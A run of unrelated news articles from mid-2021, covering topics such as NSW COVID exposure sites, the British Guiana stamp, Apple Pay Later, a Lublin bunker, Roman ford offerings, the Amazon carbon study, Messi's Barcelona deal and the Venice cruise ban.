NSW Health have named a further 32 new exposure sites across Sydney and beyond, with two new worrying hotspots named in the south of the state (pictured, a woman walks along a quiet Milsons Point on Wednesday)

Two Shell service stations on the road south from Sydney to Melbourne have been named as close contact sites after a traveller stopped off there while infectious.

Anyone who was at the Shell petrol station in South Gundagai on Thursday July 8 between 1am and 1.30am is a close contact and must go into immediate isolation and get tested.

There's an identical alert for another Shell petrol station close to the Victorian border in Jindera, where an infected person stopped off on Saturday July 10 between 11.10 and 11.45am.

A third Shell service station in Hay in the NSW Riverina region has also been named as a casual contact site.
The worlds rarest stamp is returning to Britain after 143 years.

The British Guiana 1c Magenta, printed in 1856, is described as the Mona Lisa of the stamp world.

Stamp dealer Stanley Gibbons paid 6.2million ($8.3million) for it at auction last month. It will go on display in a zero-oxygen frame at its central London store.

Stamp dealer Stanley Gibbons paid 6.2million for this stamp printed in British Guiana in 1856

The stamp, pictured, was used to post a newspaper and was sold by a Scottish schoolboy in 1873 to a collector for six shillings

Gram for gram, the stamp is thought to be the most valuable man-made item in the world  2.5million times more valuable than gold.

Octagonal, printed in black on magenta paper and measuring 29mm by 26mm, it features a three-masted ship with the motto Damus Petimus Que Vicissim, meaning we give and expect in return.

Graham Shircore, of Stanley Gibbons, said: The British Guiana 1c Magenta really is the Holy Grail of philately. Its truly one of a kind, and were delighted to be welcoming it back on to British soil where we hope it will remain.

The merchant plans to make it available to collectors through a shared ownership scheme.

The stamp had been on display at the Smithsonian National Postal Museum in Washington DC.

It is the only survivor of a small batch printed on the former British colony  now Guyana  after a ship thought to be delivering 50,000 stamps arrived with just 5,000.

It was used to deliver a newspaper, then lay forgotten until 1873 when a Scottish schoolboy sold it for six shillings to a local collector.
Apple is reportedly working on a new payment feature called 'Apple Pay Later' that will let users pay for purchases at a later date.

Apple Pay Later will be available for purchases made at either retail or online stores, Bloomberg reports, citing insiders 'with knowledge of the matter'.

The feature would let Apple Pay users split their payments into four interest-free installments, or across several months with interest, according to Bloomberg.

There's no official word from Apple regarding if the product is actually in development on when it would be released.

It sounds similar to Klarna, which was founded in 2005 and encourages users to 'Shop Like A Queen' in adverts.

Other 'buy now, pay later' (BNPL) providers include Clearpay, Laybuy, Affirm, Afterpay and even e-commerce giant PayPal, which lets users pay in four installments.

According to Reuters, Bloomberg's report has dragged down shares of other companies in the BNPL sector, including Afterpay and Sezzle.

Apple is reportedly working on Apple Pay Later to help encourage sales. The feature would be available through Apple Pay, it digital wallet through which users can pay with a number of cards

HOW WOULD APPLE PAY LATER WORK? Apple Pay Later will be an option within the Apple Pay app. It would be available for purchases online and at physical stores too. Users could split their payments into four interest-free instalments, or across several months with interest. Bloomberg said Apple Pay Later is still in development and its features could change or be cancelled. Advertisement

BNPL helps to increase sales by easing the financial burden of particularly expensive online purchases.

But critics have suggested it just gets users into debt and encourages them to buy products they can't actually afford.

Such fears fuelled the UK government's decision, announced in February this year, that the sector will become subject to regulation from the Financial Conduct Authority.

'Buy now, pay later products are rapidly increasing in popularity, with the volume of transactions tripling in 2020 as the pandemic drove online shopping, and there is now a significant risk that these agreements could cause harm to consumers,' government said at the time.

Apple appears undeterred and is keen to tap the market, the Bloomberg report suggests, although it's likely such a feature would launch in the US first before to a wider rollout.

Apple makes money from Apple Pay by taking a tiny fraction of every transaction made using an iPhone, iPad or Apple Watch.

The Cupertino-based tech giant is working with banking giant Goldman Sachs to develop Apple Pay Later, according to Bloomberg. Goldman Sachs will be the lender for the customers' loans, it claims.

Goldman Sachs has been Apple's partner for Apple Card  the tech giant's branded credit card that's only available in the US  since 2019.

But Apple Pay Later isn't tied to Apple Card and doesn't require the use of one, Bloomberg claims, citing information from the insiders 'who asked not to be named discussing unannounced products'.

Apple declined to offer comment to MailOnline.

Pictured, Apple Card, the firm's official branded credit card that was launched in 2019. Apple Card is designed primarily to be used with Apple Pay on Apple devices such as an iPhone, iPad, Apple Watch, or Mac. According to the report, Apple Pay Later doesn't require the use of Apple Card

Bloomberg also reports that Apple Pay Later is still in development and its features could change or be cancelled. Anyone interested in Apple Pay Later will need to submit ID and have to be approved via an application submitted through the iPhone's Wallet app, the report added. 'Apple will also offer customers the ability to exit payment plans to pay off the remainder of their purchase balance,' it says.

Apple Pay initially launched in the US in October 2014 before launching in July the following year.

The wallet can be used to make a contactless payment in a shop, on public transport, in an app or through an online store.
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A World War II-era bunker built by Nazi Germany made out of wood has been discovered buried underground in Lublin, Poland.

The discovery was made below the former Group of Clothing and Fabric Schools by construction workers working on new housing near 10 Spokojna Street, according to Polish News.

The near 80-year-old discovery contains a staircase with three underground corridors, concrete walls and ceilings encased by wooden beams.

In addition to the bunker, archaeologists found several mineral water bottles, borne from both Germany and the Czech Republic, as well as munition remnants from both the Wehrmacht and Red Army weapons.

The bunker was discovered seven meters (23ft) below the former Group of Clothing and Fabric, while workers were excavating for an underground garage.

World War II bunker built by Nazi Germany made of wood was discovered underground in Lublin, Poland

The bunker contains a staircase with three underground corridors, concrete walls and ceilings encased by wooden beams

The discovery was made below the former Group of Clothing and Fabric Schools by construction workers working near 10 Spokojna Street

The bunker may have been the site of an intense battle between the Germans, during their occupation of the country, and the Soviet Red Army in 1944, experts believe.

Dariusz Kopciowski, the Lublin Conservator of Monument, said construction has to be stopped so experts can carefully examine the remains of the bunker.

'We don't yet know what else could be there. At the moment we have to check if there are not some unexploded bombs,' Kopciowski said, according to TheFirstNews.

'In the discovered bunker, we found ammunition which could suggest that battles were fought inside.'

Experts also found several mineral water bottles, and munition remnants from Wehrmacht and Red Army weapons

The tunnels were dug using the mining method, Dr. Kopciowski added, which bores the tunnels and is constructed in situ, without removing the ground above.

'After agreeing the further method of studying and documenting such an unusual discovery with the conservator's office, archaeologists have begun exploring the interior of one of the corridors,' Dr. Kopciowski explained.

The discovery was made by construction workers working on a new garage in Lublin, Poland

Experts believe the bunker may have been the site of an intense battle between the Germans and the Soviet Red Army in 1944

As a result of the discovery, construction has been postponed temporarily.

In April, two skeletons of Wehrmacht soldiers were also found in the area, along with buttons, helmet, parts of a uniform and a dog tag, Polish News added.

After Poland was invaded in 1939 by both the Germans and the Soviets, Lublin became part of the General Government territory, occupied by Nazi Germany, after the Germans moved the Soviet forces out as part of Operation Barbarossa.

The city was the headquarters for Operation Reinhardt, the main German effort to exterminate Jews in German-occupied Poland.

A significant portion of the Lublin Ghetto's inmates, approximately 26,000 people, were deported to the Belzec extermination camp between March 17 and April 11, 1942, with the remainder being sent to the Majdanek concentration camp.

Two years later, on July 24, 1944, Lublin was retaken by the Soviet Army and became a temporary headquarters for the Polish Committee of National Liberation, which was created by former Soviet Union leader Joseph Stalin.
Archaeologists in the Netherlands have determined that dozens of Roman coins found near a riverbank were actually spiritual toll fees, left by ancient travelers hoping to ensure safe passage through the water.

A trove of 107 Roman coins were uncovered by metal detectorists Nico and Wim van Schaijk in 2017.

The brothers found the ancient specie, four silver denarii and 103 bronze sestertii and axes, by the Aa river near Berlicum in central Netherlands.

They presented their find to Leiden University historian Liesbeth Claes, who returned to the site with her colleagues and found two more coins and a bronze pendant from a horse harness, dating to between 120 and 300 AD.

The coins were also easy to datethe earliest came from the time of the Roman Republic, which fell in 27 BC, while the most recent ones were minted under the reign of Emperor Marcus Aurelius, who died in 180 AD.

But the money wasnt part of some treasure buried for safe keeping, Claes said in a statement.

With finds like that, the coins would be in a chest or amphora, but that wasn't the case here. These coins were lying spread over a large area and were just loose in the earth.

The fact that they spanned a time frame of more than 200 years, indicates that the coins must have been deposited by different people over a long period,' she added, as superstitious offerings for safe passage across the river.

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More than 100 Roman-era bronze and silver coins were found scattered across a field on the banks of the Aa river in the Netherlands. Researchers believe the coins were left individually as tokens to be offered to the gods in return for safe passage across a shallow crossing, or ford

Digging into local records, her team found an 1832 reference in the land registry to a path that once intersected with the Aa river.

Apparently there was a ford on this spot, where people could wade through the river, Claes said. It may not have been a particularly rapidly flowing river, but for traders in particular it was important to be able to transport their goods safely to the other side.

The coins weren't particularly valuable in their daymostly bronze, with some silver and no gold pieces.

Since most of them had eroded so badly, they weren't worth much as antiquities either. 'All the bronze coins together are probably worth less than twenty Euros [about $23 US],' Claes said in January.

Many of the coins depicted military motifs, continuing a pre-Roman tradition of marital offerings. Pictured: A coin depicting Emperor Trajan (who ruled from 98 to 117 AD) on one side and Victoria, Roman goddess of conquest, on the other

The brothers found the trove of coins in this field on the shores of a narrow part of the Aa river, which was probably a shallow crossing, or ford, in Roman times

The four silver pieces, in much better condition, were worth about 100 Euros, or $120 each, she said. 'But don't forget that the scientific value of this find is many times greater than the financial one.'

One mystery continued to plague Claes for some time after figuring out the coins were offerings to the gods: Many of them depicted military imagery.

Initially, I thought that was odd, because what does a military image have to do with a safe crossing? she said.

A dupondius (brass coin) found at the site depicts Emperor Trajan in both sides. On the reverse (at right) Trajan is in military uniform between two trophies

But then I realized that this was also quite common before Roman times: we regularly find offerings of axes, swords and helmets in other rivers and stretches of water.

She theorized the practice of leaving martial offerings evolved during the Roman period.

That was an important eureka moment in my academic career,' Claes said.

She thanked the van Schaijks for their field research and reporting the find, calling the whole endeavor a good example of how amateur archaeologists and academics can complement one another.

As a token of thanks, the brothers were given the first copy of Claes report on the coins, published by the Cultural Heritage Agency of the Netherlands.

Under Julius Caesar, Rome conquered the southern parts of the Netherlands in the mid-first century BC, during the Gallic Wars.

Historian Liesbeth Claes and Wim van Schaijk view some of the coins he found on the banks of the Aa river. Many were badly eroded but still held immense historical value

Along with Luxembourg, Belgium and portions of of Germany, the region was known as Germania Inferior and it was under Roman control until shortly after the empire fell.

A temple devoted to Hercules Magusannus, a composite Roman-Germanic deity worshipped during the early first millennium AD, was discovered in Kessel, North Brabant, about 40 miles from Berlicum.

Even Dutch tribes not under direct Roman rule would have been greatly influenced by the Empire and likely used their coins for goods, services and tributes.
Tree DNA was used to convict a timber thief who chopped down precious maple woods in Washington state in 2018 which resulted in a wildfire that cost $4.2 million to contain.

Justin Andrew Wilke, 39, was operating an illegal logging businesses out of Olympic National Forest, but initially told official he had sold wood taken from private property.

However, at trial, Richard Cronn, Phd., a research geneticist for the USDA Forest Service, testified that the wood Wilke sold was a genetic match to the remains of three poached maple trees investigators found in the scorched forest.

Following a six-day trial in Tacoma, Wilkes was convicted on July 9 of conspiracy, theft of public property, depredation of public property, trafficking in unlawfully harvested timber and attempting to traffic in unlawfully harvested timber.

The fire started in August 2018, which Wilke and a group are being accused of starting.

The group allegedly spotted a wasp's nest at a base of a tree they had cut down.

The group sprayed the nest with insecticide and gasoline and then lit it on fire, but failed to extinguish the fire, and it developed into a wildfire later named the 'Maple Fire.'

Tree DNA was used to convict a timber thief who chopped down precious maple woods in Washington state in 2018, which resulted in a wildfire that cost $4.2 million to contain

Acting U.S. Attorney Tessa M. Gorman said in a statement: 'When people steal trees from our public lands, they are stealing a beautiful and irreplaceable resource from all of us and from future generations.

'That theft, coupled with the sheer destruction of the forest fire that resulted from this activity, warrants federal criminal prosecution. I commend the various branches of the U.S. Forest Service who worked diligently to investigate and hold this defendant accountable.'

Wilke and others conducted an illegal logging operation in the Elk Lake area of the Olympic National Forest, near Hood Canal, between April and August 2018, according to records filed in the case. He poached maple trees prized as wood for musical instruments and brought them to lumber mills.

In July 2018, a man who had just been released from prison, Shawn Williams, 49, joined the conspiracy and testified against his co-conspirator Wilke.

Justin Andrew Wilke, 39, was operating an illegal logging businesses out of Olympic National Forest, but initially told official he had sold wood take from private property. Pictured is a shot of the Maple Fire in 2018

The red highlights the land scorched by the Maple Fire, which was more than 3,000 acres

Williams assisted Wilke in removing maple trees from the national forest and transporting them to a mill in Tumwater, Washington.

'The type of maple harvested by the defendants is highly prized and used to produce musical instruments,' according to the U.S. Attorney's Office Western District of Washington.

Williams pleaded guilty in 2019 and was sentenced in 2020 to 30 months in prison.

The Maple Fire consumed more than 3,300 acres between August and November 2018.

Some witnesses testified at trial that Wilke was standing next to the nest when it was lit on fire, and therefore appeared to have set the fire.

However, because the fire was set at night, they were not able to see his exact actions.

The jury did not convict Wilke of the two federal counts related to the forest fire: setting timber afire and using fire in furtherance of a felony.

Gregory Murphy, Wilke's attorney, said in a statement to The Washington Post that Wilke 'did not dispute that he, along with other uncharged coconspirators, unlawfully profited from unlawfully logged maple in 2018.'

However, at trial, Richard Cronn, Phd., a Research Geneticist for the USDA Forest Service, testified that the wood Wilke sold was a genetic match to the remains of three poached maple trees investigators found in the scorched forest (pictured)

Following a six-day trial in Tacoma, Wilke was convicted on July 9 of conspiracy, theft of public property, depredation of public property, trafficking in unlawfully harvested timber, and attempting to traffic in unlawfully harvested timber. Pictured are first responders heading toward the fire

'In fact, Mr. Wilke repeatedly offered to plead guilty to the six counts of which he was ultimately convicted,' Murphy said. 'But Mr. Wilke has always maintained that he did not cause a forest fire.'

Wilke is facing up to 10 years in prison for his crimes.

Prosecutors highlighted the danger of Wilke and Williams actions in a statement: 'Forest fires present a dire and growing threat in this region.

'They destroy our forests, poison our air, and endanger responders, local residents, recreationalists, and wildlife.

'When this fire occurred in early August 2018, the Puget Sound region was (as it is today) already experiencing significant smoke from existing wildfires, and the high risk of fire was evident to everyone in Western Washington.

'Despite this atmosphere, Williams participated in taking the extreme risk of setting fire to a portion of a treedeep in the forest, in mid-summer. The consequences of that decisionthousands of acres burned, millions of dollars in containment costs, and the release of huge amounts of smokewere easily foreseeable.'
The Amazon rainforest is 'fuelling' global warming, with huge areas producing more carbon than they absorb due to deforestation, according to a new study.

A combination of fires and logging in the rainforest has seen large regions switch from being an essential 'carbon sink' to being a carbon emitter, National Institute for Space Research in Sao Jose dos Campos, Brazil researchers discovered.

This shift is is further fuelling the global warming crisis, which is leading to increasing 'extreme weather events' and the team say 'each year it's getting worse'.

Through the extensive observations, they found southeastern Amazonia - about 20 per cent of the whole area - switched to being a substantial source of CO2.

Professor Simon Lewis, a climate change expert from UCL, not involved in the study, told MailOnline this is yet more evidence of an urgent need to reach net zero carbon emissions as quickly as possible to prevent further damage to the climate.

The Amazon rainforest is 'fuelling' global warming, with huge areas producing more carbon than they absorb due to deforestation, according to a new study

A combination of fires and logging in the rainforest has seen large regions switch from being an essential 'carbon sink' to being a carbon emitter, National Institute for Space Research in Sao Jose dos Campos, Brazil researchers discovered

Where is Earth's Carbon stored? Amazon rainforest: 200 billion tonnes Siberian permafrost: 950 billion tonnes Arctic: 1,600 billion tonnes Oceans: As much as 38,000 gigatonnes, according to World Ocean Review These figures are estimates, but true values may be higher. By contrast, humans produce an estimated 36 billion tonnes of carbon annually. Advertisement

Lead author Professor Luciana Gatti, said deforestation and regional climate change is threatening the atmospheric carbon buffering potential of the rainforest.

Essentially, without the deforestation, the rainforest could soak up some of the carbon emitted by human activity, forestalling the worst impacts of climate change.

Millions of trees have been lost, meaning they can no longer take the CO2 from the air as they grow, and instead release the CO2 as they die due to fires and logging.

This is further hindering United Nations efforts to keep global average temperatures from rising by more than 3.6F over pre-industrial levels by 2100, a figure some studies suggest we may exceed in the next decade.

Amazonia represents the greatest expanse of tropical forest on the planet and the shimmering green leaves play a vital role in storing atmospheric carbon.

They convert the greenhouse gas through photosynthesis into carbohydrates that end up in the woody trunks and branches, acting as a 'carbon sink'.

This shift is is further fuelling the global warming crisis, which is leading to increasing 'extreme weather events,' including forest fires, and the team say 'each year it's getting worse'

THE KEY GOALS OF THE PARIS CLIMATE AGREEMENT The Paris Agreement on Climate Change has four main goals with regards to reducing emissions: A long-term goal of keeping the increase in global average temperature to well below 2C above pre-industrial levels To aim to limit the increase to 1.5C, since this would significantly reduce risks and the impacts of climate change Governments agreed on the need for global emissions to peak as soon as possible, recognising that this will take longer for developing countries To undertake rapid reductions thereafter in accordance with the best available science Source: European Commission Advertisement

However, the new study, published in Nature by Brazilian climate scientists, sheds fresh light on the influence of humans on the vital region.

'Factors such as deforestation and climate change are thought to have stimulated a decrease in the capacity,' said Professor Gatti.

'They have altered the local balance of carbon gases - which is indicative of the health of an ecosystem.'

The discovery is based on 590 observations of carbon dioxide and monoxide concentrations over almost a decade within the Amazonia region.

Every two weeks from 2010 to 2018 the researchers flew over four sites of the Amazon basin in aircraft fitted with sensors.

They focused on the troposphere - the lowest layer of the atmosphere, which stretches up to three miles above sea level, to discover the shift.

The area most notably impacted is the southeastern area of Amazonia, which accounts for about 20 per cent of the entire rainforest.

'Stress inflicted on local ecosystems and an increase in fire occurrence - promoted by an intensification of the dry season and deforestation - may be responsible for the higher emissions,' said Professor Gatti.

'Deforestation and climatic changes may have lasting, negative consequences for both the carbon balance of the region and the fragility of its ecosystems.'

Logging in Brazil hit a 12-year high in 2020 - increasing nearly 10 per cent from the year before, according to the study authors.

The Amazon slows the pace of global warming by storing up to 200 gigatons of carbon - equivalent to five years worth of human emissions.

The researchers - including staff at the universities of Exeter and Leeds - say it's becoming a carbon source faster than feared.

At 2.72 million square miles, the rainforest is roughly the size of the United States - covering 40 per cent of the South American continent.

More than half of the Amazon rainforest could be transformed into savanna within the next 30 years, warned the study authors

They tracked forestation against rainfall and temperature - as well as the average emissions over the course of nine years by flying over four sites every two weeks with sensors

CARBON SINK SHIFT: WHY DOES IT MATTER? Parts of the Amazon rainforest are shifting from being carbon sinks, to being carbon emitters. But why is this a problem on a global scale? Professor Mark Maslin from UCL, and author of 'How to Save Our Planet' published by Penguin, explains: 'About a quarter of all the carbon dioxide humans emit into the atmosphere is taken up by the biosphere - especially by our forests. 'But deforestation due to logging, agriculture, wildfires and climate change is reducing both the amount of forests and their ability to soak up our pollution. 'A recent study in Nature show that this switching from taking up carbon to releasing carbon has already started to happen in large parts of the southeast Amazonia. 'If this continues it will make getting to global net carbon zero by 2050 much more difficult and hence why we must protect and if possible, expand the forests of the World.' Advertisement

For decades, scientists have warned of an 'Amazon tipping-point', that is where it loses its ability to renew itself.

More than half could be transformed into savanna - within the next 30 years.

Professor Gatti said total carbon emissions are greater in the eastern part of Amazonia than they are in the western part of the region.

He said this was mostly due to spatial differences in carbon-monoxide-derived fire emissions, with the south eastern Amazonia, in particular, acting as a net carbon source to the atmosphere.

'Over the past 40 years, eastern Amazonia has been subjected to more deforestation, warming and moisture stress than the western part, especially during the dry season, with the southeast experiencing the strongest trends,' he said.

'We explore the effect of climate change and deforestation trends on carbon emissions at our study sites, and find the intensification of the dry season and an increase in deforestation seem to promote ecosystem stress, increase in fire occurrence, and higher carbon emissions in the eastern Amazon.

'This is in line with recent studies that indicate an increase in tree mortality and a reduction in photosynthesis as a result of climatic changes across Amazonia.'

Professor Scott Denning, a climate scientist at Colorado State University who was not involved in the study, described it as 'worrying.'

'Atmospheric measurements show that deforestation and rapid local warming have reduced or eliminated the capacity of the eastern Amazonian forest to absorb carbon dioxide,' he explained.

'Eastern Amazon sites have warmed by as much as about 0.6 C (1.08F) per decade during the dry season over the past 40 years.'

Through the extensive observations, they found southeastern Amazonia - about 20 per cent of the whole area - switched to being a substantial source of CO2

Professor Simon Lewis, a climate change expert from UCL, not involved in the study, told MailOnline this is yet more evidence of an urgent need to reach net zero carbon emissions as quickly as possible to prevent further damage to the climate

AMAZON BECOMING A 'CLIMATE EMITTER': IS THERE A SOLUTION? With the Amazon rainforest contributing to global climate emissions, and further fuelling global warming, is there a solution? Professor Simon Lewis, a climate change specialist from University College London thinks there is, but we must act quickly. 'The good news is we can do something about this. Stopping deforestation and forest fires stops carbon emissions,' he said. 'And because rainforests partly create their own rainfall and cool the land, slowing deforestation lessens the climate impacts. 'Beyond this, slashing carbon emissions to net zero fast will halt global heating and stop the positive feedback from getting worse. 'The south east Amazon sink to source story is yet another stark warning that climate impacts are accelerating and will continue to do so until carbon emissions reach net zero.' Advertisement

He said this increase is three times the average rate of global warming, and similar to the rate being experienced in the Arctic, adding that the future of carbon accumulation in tropical forests has 'long been uncertain'.

He said this study shows the uncertain future often predicted, is already happening.

Climate scientist, professor Simon Lewis, from University College London, not involved in the research, told MailOnline this was a 'truly impressive study.'

'Measurements of carbon dioxide up through the atmosphere tell us how the whole Amazon rainforest system is changing, rather than just one part, such as how much forest is lost, or changes within intact forests,' he said.

'The really bad news is that the capacity of the Amazon rainforest to absorb carbon is eroding. In the south east of the Amazon the remaining forest has now flipped to a steadily increasing source of carbon to the atmosphere.'

He said deforestation and climate change drive a release of carbon from the remaining forest, further reinforcing warming.

'I worry that without action larger areas of remaining Amazon rainforest will become a sources of carbon to the atmosphere,' Professor Lewis told MailOnline.

'The good news is we can do something about this. Stopping deforestation and forest fires stops carbon emissions.

'And because rainforests partly create their own rainfall and cool the land, slowing deforestation lessens the climate impacts.

'Beyond this, slashing carbon emissions to net zero fast will halt global heating and stop the positive feedback from getting worse.'

The findings have been published in the journal Nature.
As the COVID-19 pandemic wages on and the academic repercussions are still being felt, high school students - in particular older students - had more social, emotional and academic problems than those who learned in school, a new study suggests.

The research notes that the problems were universal, impacting students of all income levels, as well as race.

On a 100-point scale, in-person students scored a 77.2 rating for social well-being, compared to 74.8 for those who learned remotely.

Emotional and academic well-being scores saw similar discrepancies, with emotional levels for in-person students at 57.4, compared to 55.7 for remote and 78.4 for academic well-being and 77.3 for remote, respectively.

'Notably, the thriving gap was larger among students in 10th through 12th grades than it was among ninth graders,' said study co-author and Temple University professor Laurence Steinberg in a statement.

High school students - in particular older students - had more social, emotional and academic problems than those who learned in school, a new study suggests

On a 100-point scale, in-person students scored a 77.2 rating for social well-being, 57.4 for emotional well-being and 78.4 for academic well-being. Those who learned remotely had scores of 74.8, 55.7 and 77.3, respectively

According to UNICEF, 77 percent of countries around the world used some form of digital instruction for upper secondary education, which includes high school students. Lower levels, such as pre-primary education and primary education, saw 42 percent and 74 percent of digital instruction, respectively.

According to UNICEF, 77 percent of countries around the world used some form of digital instruction for upper secondary education, which includes high school students

'Many news stories have reported on individual stories of teenagers who have suffered from anxiety, depression, and other mental health challenges during the pandemic,' added the study's lead author, University of Pennsylvania professor and Character Lab CEO and founder Angela Duckworth.

'This study gives some of the first empirical evidence of how learning remotely has affected adolescent well-being.'

The results are the findings of a two-part survey that was conducted prior to COVID-19 emerging (February 2020) and its peak (October 2020), with some 6,500 students in Orange County Public Schools in Florida, considered 'a large, diverse school district' questioned.

In an interview with The 74 Million, Duckworth said that COVID-19 distancing 'seems to have a deleterious effect in every aspect of thriving, in every way we were measuring it.'

After the second-part was conducted in October 2020, the families in the district were offered to keep remote learning for the 2020-21 school year or go back to in-person and two-thirds of students in the survey went remotely.

The differences were not drastic, but large enough that it likely impacted millions of students across the country, Duckworth explained.

'As policymakers gear up for national tutoring and remediation programs, which we agree are urgent priorities, we must recognize that our nation's students are not just lagging as performers, they are suffering as people,' Duckworth said in the statement.

'Meeting their intrinsic psychological needs  for social connection, for positive emotion, and authentic intellectual engagement  is a challenge that cannot wait.'

For social well-being, the survey included questions about fitting in at school, if there was an adult in the school that the students could turn to for advice or if there was an adult in the school who wanted the students to do their best.

To measure emotional well-being, questions included how often the students felt happy, relaxed or sad, as well as the state of their lives overall.

Questions that measured academic well-being included asking the students how interested they were in their classes, how important it was to do well and how confident they were they could succeed.

The findings were published in the scientific journal Educational Researcher.

Although no firm data is available just yet, experts believe the 'vast majority' of high school students learned remotely during 2020.

High school students is a segment of the school-going population that policymakers have little information on, especially in light of the fact that many are now eligible to take the vaccines.

However, they often move from one class to another, impacting social distancing and other safety measures put in place, according to US News.

According to the National Center for Education Statistics, there are approximately 56.4 million students in elementary, middle and high schools across the US, with 4.1 million in the 9th grade and about 3.7 million who are expected to graduate high school or have done so already during the 2020-21 school year.

Of those, 3.3 million went to public schools and about 400,000 went to private schools.

The findings coincide with guidance from the Centers for Disease Control and Prevention.

According to the July 9 update from the CDC, students benefit from in-person learning and 'safely returning to in-person instruction in the fall 2021 is a priority.'

Other takeaways from the update include promoting vaccination education, masks should be worn by those who are not fully vaccinated and a recommendation of at least three feet between students within classrooms.
Lionel Messi has agreed to take a 50 per cent pay-cut to sign a new five-year deal with Barcelona.

The contract will see Messi stay at the Camp Nou until he is 39 and will help the club with their cost cutting following warnings from LaLiga president Javier Tebas who says their spending must continue to be reduced drastically before Messi can be registered.

Messis previous deal, which was worth in excess of 425million over four years, expired on June 30.

Lionel Messi has agreed to sign a new five-year contract with Barcelona

The Argentine, 34, will take a substantial pay reduction to remain at his one and only club

Barca president Joan Laporta has remained determined to convince the club talisman to stay after Messi attempted to quit the club last summer.

Despite becoming a free agent and previous interest from Paris St German and Manchester City no talks with other clubs took place in recent weeks.

Messi is on holiday with his family after leading Argentina to Copa America glory over Brazil last weekend, his first major trophy with his country.

The 34-year old has been with Barcelonas academy since 2000 amassing 778 games and scoring 672 goals.

Messi helped Argentina win the Copa America last week, his first major international honour

Now on holiday, Messi is expected to formalise his new Barcelona deal later this month

Messi (pictured holding the Copa del Rey trophy) saw his contract at the Nou Camp run down

Barcelona are continuing to cut costs to meet with La Ligas financial FairPlay guidelines.

They have agreed to sign Sergio Aguero, Memphis Depay and Eric Garcia but are in the throes of streamlining their squad with debts around 1billion.

They have also opened negotiations with Atletico Madrid over a proposed swap deal involving Antoine Griezmann and Atletico midfielder Saul Niguez.
Declaring Venice's waterways a 'national monument', Italy is banning mammoth cruise liners from sailing into the lagoon city, which risked being declared an imperilled world heritage site by the United Nations later this month.

Culture Minister Dario Franceschini said the ban was urgently adopted at a Cabinet meeting on Tuesday and will take effect on August 1. It applies to the lagoon basin near St. Mark's Square and the Giudecca Canal, a major marine artery in Venice.

Franceschini said the government decided to act fast 'to avoid the concrete risk' that the UN culture agency Unesco would add Venice to its list of 'world heritage in danger' after it begins meeting later this week in Beijing.

Declaring Venice's waterways a 'national monument', Italy is banning mammoth cruise liners from sailing into the lagoon city. Pictured is a cruise ship passing St. Mark's Square in 2019

The Cabinet decree also 'establishes an unbreakable principle, by declaring the urban waterways of St. Mark's Basin, St. Mark's Canal and the Giudecca Canal a national monument', the minister added.

Before the coronavirus pandemic severely curtailed international travel, cruise ships discharging thousands of day-trippers overwhelmed Venice and its delicate marine environment. Environmentalists and cultural heritage have battled for decades with business interests, since the cruise industry is a major source of revenue for the city.

The government's decision was 'awaited by Unesco and by all those who have been to Venice and who have remained disturbed by the huge size of these ships passing through the most fragile and most beautiful place in the world,' Franceschini told reporters.

Before the coronavirus pandemic severely curtailed international travel, cruise ships discharging thousands of day-trippers overwhelmed Venice and its delicate marine environment

Unesco recommended last month placing Venice on the agency's list of World Heritage in Danger sites.

There was no immediate comment from the UN cultural agency.

The Italian government earlier this year had decided on a ban but without quickly setting a date for it to start.

But now, the government 'decided to impose a strong acceleration' to implementing the move given the looming Unesco review, Franceschini said in a statement.

The ban applies to ships weighing more than 25,000 tons or longer than 180 metres (530 feet) or with other characteristics that would make them too polluting or overwhelming for Venice's environment

Another impetus was the startling appearance in early June of a 92,000-ton cruise ship nosing its way down the Giudecca Canal for the first time since the pandemic's arrival in early 2020 effectively suspended mass tourism in Venice.

The ban applies to ships weighing more than 25,000 tons or longer than 180 metres (530 feet) or with other characteristics that would make them too polluting or overwhelming for Venice's environment.

Italian Premier Mario Draghi's office specified that ships that don't have any of those characteristics and thus 'are considered sustainable' to the Venetian environment can continue to dock in Venice. The premier's office noted that permitted ships generally have about 200 passengers compared to the thousands that huge cruise vessels carry.

Unesco recommended last month placing Venice on the agency's list of World Heritage in Danger sites

With only a few hours of shore time in Venice, the big liners' passengers tend to clump around classic tourist sites like St. Mark's Square, adding to the city's already crowded public spaces.

No cars are allowed in historic Venice, which consists of narrow alleys and many bridges linking passageways. During high tourist season, which occupies a good deal of the year in Venice, navigating as a pedestrian is a daunting challenge.

The Cabinet decree also establishes compensation mechanisms for navigation companies and others affected by the ban. Until a more suitable docking area can be established elsewhere in waters outside the heart of Venice, the government has approved creating at least four temporary docking sites near the industrial port of Marghera, located on the northwestern Adriatic Sea.
Married At First Sight's Booka Nile recently fuelled speculation that she was dating musician Corey Freear after they were pictured holding hands during a night out.

And now the 31-year-old musician has finally addressed the rumours during an intimate Q&A on her Instagram stories.

When asked if the 'hot dude' [Corey] from her music video was her boyfriend, Booka laughed and said: 'Corey check this out', before telling fans that she 'doesn't like labels'.

Married At First Sight's Booka Nile, 31, has finally addressed rumours she is dating tattooed musician Corey Freear - after they were spotted holding hands on a date night last month

Last month, Booka and Corey were spotted holding hands during a date night out in Perth.

The reality star bride looked sensational in a tight pleather dress, which showed off her svelte pins and tiny waist to perfection.

She couldn't wipe the smile off her face as she held hands with Corey, who performs in the rock band Sunday Sundown.

Hmm: When asked if the 'hot dude' [Corey] from her music video was her boyfriend, Booka laughed: 'Corey check this out', before telling fans that she 'doesn't like labels'

While the pair haven't confirmed their romance, they have been pictured together on Instagram and have exchanged flirty messages.

Daily Mail Australia has contacted Booka and Corey for further comment.

Booka was partnered with electrician and psychology student Brett Helling on Nine's Married At First Sight, but they split before the final vows.

Cute: While Booka and Corey haven't confirmed their romance, they have been pictured together on Instagram and have exchanged flirty comments

Brett later said the pair had 'tunnel vision' while on the show, and realised their relationship wouldn't last in the outside world.

'Booka and I were hanging out one day and we were just having a chat about life and all kinds of things. I think we both just came to the realisation that it wasn't something we wanted to pursue outside of the experiment,' he said.

'When you're in that environment you are focused on one another so much you kind of get this tunnel vision and you forget about what's going back home. We just realised that it wasn't meant to be.'

Brett added that he felt the way the couple gracefully handled leaving the program was a testament to their 'maturity and good character'.
Jessica Walter has been nominated for a posthumous Emmy Award.

The late actress, who died in her sleep in March at the age of 80, was nominated for Outstanding Voice-Over Performance for her work on the FX animated comedy series Archer.

Along with Walter, the other artists recognized in the voice-over category included Stacy Abrams (Black-ish), Maya Rudolph (Big Mouth), Julie Andrews (Central Park), Tituss Burgess (Central Park), Stanley Tucci (Central Park) and Seth MacFarlane (Family Guy).

Honored: Jessica Walter has been nominated for a posthumous Emmy Award for her performance in the adult animated sitcom Archer; she is pictured in New York City in May 2019

